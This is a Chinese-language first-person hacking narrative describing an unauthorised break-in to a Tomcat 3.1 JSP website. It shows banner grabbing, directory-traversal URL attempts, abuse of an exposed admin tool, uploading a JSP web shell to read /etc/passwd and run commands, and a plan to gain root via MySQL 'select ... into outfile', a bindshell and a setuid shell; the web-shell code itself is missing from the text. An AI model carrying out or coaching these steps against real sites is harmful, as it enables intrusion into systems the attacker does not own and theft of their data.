以下的文章主要向大家講述的是黑客攻擊技術(shù)WEB網(wǎng)站入侵的過(guò)程,很偶然的一個(gè)機(jī)會(huì),看到了一個(gè)網(wǎng)站,頁(yè)面清新也很舒服的感覺(jué)。網(wǎng)站是用JSP開(kāi)發(fā)的,由于個(gè)人的喜好,所以我決定看看系統(tǒng)的安全性。
- telnetwww.target.com8080 GET/CHINANSLHTTP/1.1
- [Enter] [Enter]
- 返回的結(jié)果如下: HTTP/1.0404NotFound
- Date:Sun,08Jul200107:49:13GMT Servlet-Engine:TomcatWebServer/3.1(JSP1.1;Servlet2.2;Java1.2.2;Linux2
- .2.12i386;java.vendor=BlackdownJava-LinuxTeam) Content-Language:en
- Content-Type:text/html Status:404
- Error:404 Location:/CHINANSLFileNotFound/CHINANSL
我獲得了運(yùn)行的WEBServer的名稱"Tomcat 3.1"。我記得我曾經(jīng)發(fā)現(xiàn)過(guò)這個(gè)版本的漏洞,并且post到bugtrap上去過(guò)。大概是:通過(guò)".."技術(shù)可以退出WEB目錄,于是:
- http://target:8080/../../../../%00.jsp(不行) http://target:8080/file/index.jsp(不行)
- http://target:8080/index.JSP(不行) http://target:8080/index.jsp%81(不行)
- http://target:8080/index.js%70(不行) http://target:8080/index.jsp%2581(不行)
- http://target:8080/WEB-INF/(不行)
嗯,在試試吧!Tomcat 3.1自帶了一個(gè)管理工具,可以查看WEB下的目錄及文件,并且可以添加context.試一下:http://target:8080/admin/ ,管理員果然沒(méi)有刪除或禁止訪問(wèn)這個(gè)目錄。接著我點(diǎn)"VIEW ALL CONTEXT"按鈕,列出了WEB目錄下的一些文件和目錄的名稱,我開(kāi)始仔細(xì)的看了起來(lái),一小會(huì)兒,發(fā)現(xiàn)了一個(gè)上傳文件的組件,嘿嘿,寫(xiě)一個(gè)jsp文件弄上去看看。幾口咖啡的時(shí)間,我寫(xiě)了這么一個(gè)東東出來(lái):
通過(guò)上傳的組件將這個(gè)jsp上傳到對(duì)方的WEB目錄里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密碼出來(lái)啦。我只看了"/etc/passwd",并沒(méi)有看"/etc/shadow",因?yàn)楫?dāng)時(shí)考慮webserver一般使用nobody的身份啟動(dòng)的,看了也白看。(失誤)接下來(lái)的過(guò)程是無(wú)聊的猜測(cè)密碼,沒(méi)有成功。算了,那我只有將就點(diǎn),反正現(xiàn)在我相當(dāng)于有了一個(gè)shell了嘛,猜不出密碼上去,那就全當(dāng)IE是我的SHELL環(huán)境吧!
再寫(xiě):
然后把這個(gè)jsp又通過(guò)upload上傳了上去,嘿嘿,我現(xiàn)在有個(gè)SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我這里就不列出來(lái)了)
怎么獲得root呢?經(jīng)過(guò)一番搜索我發(fā)現(xiàn)了系統(tǒng)安裝了mysql并且我從jsp的源代碼中得到了mysql的密碼:)看看是什么權(quán)限運(yùn)行的mysql:
- sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+ grep+mysqld
顯示:
- root874940.21.9173004800p0-S28Jun015:54.72/usr/local/data/mysql
嘿嘿,有辦法了,系統(tǒng)是以root身份運(yùn)行的mysql,同時(shí)我知道了mysql的密碼,那我現(xiàn)在我可以寫(xiě)一個(gè)shell程序,讓它c(diǎn)reate一個(gè)表,然后將我的數(shù)據(jù)放到表中,然后再使用"select ... into outfile;"的辦法在系統(tǒng)上創(chuàng)建一個(gè)文件,讓用戶在執(zhí)行su的時(shí)候,運(yùn)行我的程序。(還記得apache.org有一次被WEB網(wǎng)站入侵嗎?hacker就采用的這種辦法)。
然后,我再上傳bindshell之類的程序,運(yùn)行、獲得nobody的權(quán)限,然后......再使用su root時(shí)幫忙創(chuàng)建的setuid shell讓自己成為root.嘿嘿,真是好辦法,我都為我的想法感到得意......
相關(guān)閱讀